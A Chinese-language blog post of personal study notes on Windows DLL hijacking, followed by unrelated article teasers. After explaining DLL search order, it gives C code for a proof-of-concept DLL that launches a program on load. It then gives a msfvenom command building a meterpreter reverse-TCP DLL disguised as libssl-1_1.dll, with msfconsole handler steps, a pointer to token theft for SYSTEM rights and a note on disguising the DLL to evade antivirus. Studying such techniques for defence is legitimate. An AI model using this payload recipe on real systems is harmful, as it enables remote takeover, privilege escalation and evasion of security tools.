DLL劫持漏洞

以下是自己学习时做的一些笔记,希望对各位有所帮助

DLL劫持漏洞

为什么程序中会有dll的存在

对于 Windows 操作系统,操作系统的大部分功能都由 DLL 提供。 另外,当您在这些 Windows 操作系统之一上运行某一程序时,该程序的很多功能可能是由 DLL 提供的。 例如,某些程序可能包含很多不同的模块,而该程序的每个模块都包含在 DLL 中并从中分发。

使用 DLL 有助于促进代码的模块化、代码重用、内存的有效使用和减少所占用的磁盘空间。 因此,操作系统和程序能够更快地加载和运行,并且在计算机中占用较少的磁盘空间。

当程序使用 DLL 时,一个称为依赖性的问题可能导致该程序无法运行。 当程序使用 DLL 时,就会创建一个依赖项。 如果其他程序改写和损坏了该依赖项,原来的那个程序就可能无法成功运行。

为什么程序会使用dll

dll的优点

使用较少的资源

当多个程序使用同一个函数库时,DLL 可以减少在磁盘和物理内存中加载的代码的重复量。 这不仅可以大大影响在前台运行的程序,而且可以大大影响其他在 Windows 操作系统上运行的程序。

推广模块式体系结构

DLL 有助于促进模块式程序的开发。 这可以帮助你开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。 模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。

简化部署和安装

当 DLL 中的函数需要更新或修复时,部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。 此外,如果多个程序使用同一个 DLL,那么多个程序都将从该更新或修复中获益。 当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地出现。

dll的定义:

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

dll故障排除工具

Dependency Walker

Dependency Walker 工具可以递归扫描以寻找程序所使用的所有依赖 DLL。 在 Dependency Walker 中打开程序时,Dependency Walker 会执行下列检查:

Dependency Walker 检查是否丢失 DLL。

Dependency Walker 检查是否存在无效的程序文件或 DLL。

Dependency Walker 检查导入函数和导出函数是否匹配。

Dependency Walker 检查是否存在循环依赖性错误。

Dependency Walker 检查是否存在由于针对另一不同操作系统而无效的模块。

通过使用 Dependency Walker,您可以记录程序使用的所有 DLL。 这可能有助于避免和更正将来可能发生的 DLL 问题。 安装 Visual Studio 6.0 时,Dependency Walker 将位于以下目录中:

drive\Program Files\Microsoft Visual Studio\Common\Tools

劫持漏洞的产生

这里我查看资料理解的意思是,就是自己编写dll代码,然后把这个代码放到你要劫持的同一个目录下,然后程序运行时,则会优先运行你的dll,只要你的dll代码优先级高于它本身的dll就可以实现dll劫持。

dll劫持漏洞

编写dll劫持漏洞的代码

我们有的时候写入的dll代码有的时候程序运行起来,可能会报错,但这个时候我们可以做的是,在我们自己写的dll里面加入反调用函数,直接调用程序本身的dll,使得程序正常运行起来。

用C编写

运行了一下dll后,会弹出一个计算器

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

WinExec("calc", SW_NORMAL);

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

extern "C" __declspec(dllexport) void PlaySoundA()

{

WinExec("calc", SW_NORMAL);

}

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)

{

       return x + y;

}

extern "C" int __declspec(dllexport)sub(int x, int y)

{

       return x - y;

}

extern "C" int __declspec(dllexport)mul(int x, int y)

{

       return x * y;

}

extern "C" int __declspec(dllexport)divs(int x, int y)

{

       return x / y;

}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)

{

       return true;

}

用msf进行dll漏洞劫持

我们一开始先查找程序的dll,然后我们要去写一个和程序名字相同的dll,只不过这里的dll是我们用msf生成的木马病毒

命令如下

生成一个dll病毒

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134  lport=6677 -f dll >./libssl-1_1.dll

然后将这个文件放到程序同一个目录下,然后运行这个程序

然后我们这只要监听端口,等着反弹shell就ok

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.8.134

set lport 6677

run

这里可以配合令牌窃取,然后就可以拿到system权限

免杀

就是对我们写好的dll文件头部进行隐藏,修改成正常的dll文件,但核心还是一个病毒的程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/163424.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

paddle ocr开启mkldnn加速后图片识别精度下降

背景 使用ocr_system调用微调模型时发现部分图片在设置enable_mkldnnTrue后出现识别精度下降问题 环境&#xff1a; paddle2.5.1 paddlehub2.3.1 python3.8.6 解决方案 tools\infer\utility.py文件中 line 269行左右&#xff0c; 在代码config.delete_pass("matmul_t…

【华为OD题库-035】数据最节约的备份方法-java

题目 有若干个文件&#xff0c;使用刻录光盘的方式进行备份&#xff0c;假设每张光盘的容量是500MB.求使用光盘最少的文件分布方式。所有文件的大小都是整数MB&#xff0c;且不超过500MB:文件不能分割、分卷打包 输入描述: 一组文件大小的数据 输出描述: 使用光盘的数量 补充说…

如何通过类似于Android adb install apk 命令安装三方Harmony Hap包

安装命令 hdc install xxx.hapOpenHarmony设备安装Hap应用的五种方式 https://www.51cto.com/article/762223.htmlhttps://www.51cto.com/article/762223.html DevEco Studio 3.1为例新建个项目&#xff0c;点击File->Project Structure 进入签名页面然后点击Sign in登录华…

Adobe 家族系列download

adobe 前言 Adobe公司的产品线中拥有多个家族桶&#xff0c;下面是Adobe全家桶产品的功能介绍&#xff1a; Creative Cloud&#xff08;创意云&#xff09;&#xff1a;包含Photoshop、Illustrator、InDesign、Premiere Pro、After Effects、Lightroom等创意设计、视频制作和…

计算机体系结构习题及解答

Exercise For the 5-stage pipeline (RR and RW take half a cycle) For the following pairs of instructions, how many stalls will the 2nd instruction experience (with and without bypassing)? 1. ADD R3 ⬅R1R2 ADD R5 ⬅ R3R4 Answer&#xff1a;0 stall wi…

java springboot测试类鉴定虚拟MVC请求 返回内容与预期值是否相同

上文 java springboot测试类鉴定虚拟MVC运行值与预期值是否相同 中 我们验证了它HTTP的返回状态 简单说 校验了他 是否成功的状态 这次 我们来不对得到的内容 我们 直接改写测试类代码如下 package com.example.webdom;import org.junit.jupiter.api.Test; import org.springf…

【实验笔记】C语言实验——超长正整数的减法运算

[问题描述] 编写程序实现两个超长正整数(每个最长80位数字)的减法运算。 [输入形式] 从键盘读入两个整数&#xff0c;要考虑输入高位可能为0的情况(如00083) 1.第一行是超长正整数A; 2.第二行是超长正整数B; [输出形式] 输出只有一行&#xff0c;是长整数A减去长整数B的运…

FreeRTOS学习之路,以STM32F103C8T6为实验MCU(2-3:任务切换)

学习之路主要为FreeRTOS操作系统在STM32F103&#xff08;STM32F103C8T6&#xff09;上的运用&#xff0c;采用的是标准库编程的方式&#xff0c;使用的IDE为KEIL5。 注意&#xff01;&#xff01;&#xff01;本学习之路可以通过购买STM32最小系统板以及部分配件的方式进行学习…

使用 css 实现文字单行居右, 换行居左展示

给外层盒子设置居右展示, 子盒子设置居左。 原理是&#xff0c;如果子盒子没有换行&#xff0c;那么子盒子的长度就是内容的长度&#xff0c;它根本没有空间将字体移动居左&#xff0c;父盒子的居左样式就会生效&#xff0c;子盒子就会居左展示。 当子盒子里面的文字换行了&…

3.1 Linux时间子系统

目录 一时间子系统作用二 时间子系统初始化三 时间子系统框架 一时间子系统作用 1 提供时间 2 提供时钟 3 提供进程轮询 从应用层&#xff0c;分析其使用方法 从驱动层&#xff0c;给出timer和hrtimer的使用示例 二 时间子系统初始化 分别从介绍各个模块初始化做了些什么工作…

在SOLIDWORKS中如何提升保存PDF版本文件的清晰度

随着Solidworks年复一年的不断更新&#xff0c;不仅仅是整个软件的性能上的提升&#xff0c;其在输出文件的功能上也同样在精益求精。 但对于老版本的使用者和希望能让输出文件清晰度更进一步的使用者而言&#xff0c;可能目前我们所能达到的普通文件输出清晰度远远无法达到他们…

如何将ONLYOFFICE与Python应用程序集成

ONLYOFFICE是一项功能强大的开源文档编辑器&#xff0c;可以将文本文档、电子表格和演示文稿、电子表单编辑功能集成至任何编程语言编写的 Web 应用程序中。最新的7.5版本编辑器可以支持编辑PDF文件&#xff08;批注、绘图等&#xff09;。在本文中&#xff0c;我们会带你了解如…

【分享】Java Builder 建造者模式之案例分享

介绍 建造者模式&#xff08;Builder&#xff09;核心目的是通过使用多个简单对象一步步构建出一个复杂对象。通过将复杂对象的构造过程拆分为多个简单的步骤&#xff0c;使得创建对象更加灵活&#xff0c;可读性和可维护性更强。 使用场景 创建一个由多个部分组成的复杂对象…

这样写Allure生成测试报告,学会直接涨薪5k

Allure是一个开源的测试报告生成框架&#xff0c;提供了测试报告定制化功能&#xff0c;相较于我们之前使用过pytest-html插件生成的html格式的测试报告&#xff0c;通过Allure生成的报告更加规范、清晰、美观。 pytest框架支持使用Allure生成测试报告&#xff0c;接下来让介绍…

SpringBoot整合knife4j生成Api文档

一、介绍 先看效果 ①&#xff1a;Swagger 介绍 Swagger 是一个规范和完整的框架&#xff0c;用于生成、描述、调用和可视化 RESTful 风格的 Web 服务(https://swagger.io/)。 它的主要作用是&#xff1a; 使得前后端分离开发更加方便&#xff0c;有利于团队协作 接口的文档…

Doris-集群部署(四)

创建目录并拷贝编译后的文件 1&#xff09;创建目录并拷贝编译后的文件 mkdir /opt/module/apache-doris-0.15.0 cp -r /opt/software/apache-doris-0.15.0-incubating-src/output /opt/module/apache-doris-0.15.02&#xff09;修改可打开文件数&#xff08;每个节点&#x…

oracle数据库巡检常见脚本-系列三

简介 作为数据库管理员&#xff08;DBA&#xff09;&#xff0c;定期进行数据库的日常巡检是非常重要的。以下是一些原因&#xff1a; 保证系统的稳定性&#xff1a;通过定期巡检&#xff0c;DBA可以发现并及时解决可能导致系统不稳定的问题&#xff0c;如性能瓶颈、资源利用率…

TIDB基础

TIDB整个逻辑架构跟MYSQL类似&#xff0c;如下&#xff1a; TIDB集群&#xff1a;相当于MYSQL的数据库服务器&#xff0c;区别是MYSQL数据库服务器为单进程的&#xff0c;TIDB集群为分布式多进程的。 数据库&#xff1a;同MYSQL数据库&#xff0c;数据库属于集群&#xff0c;…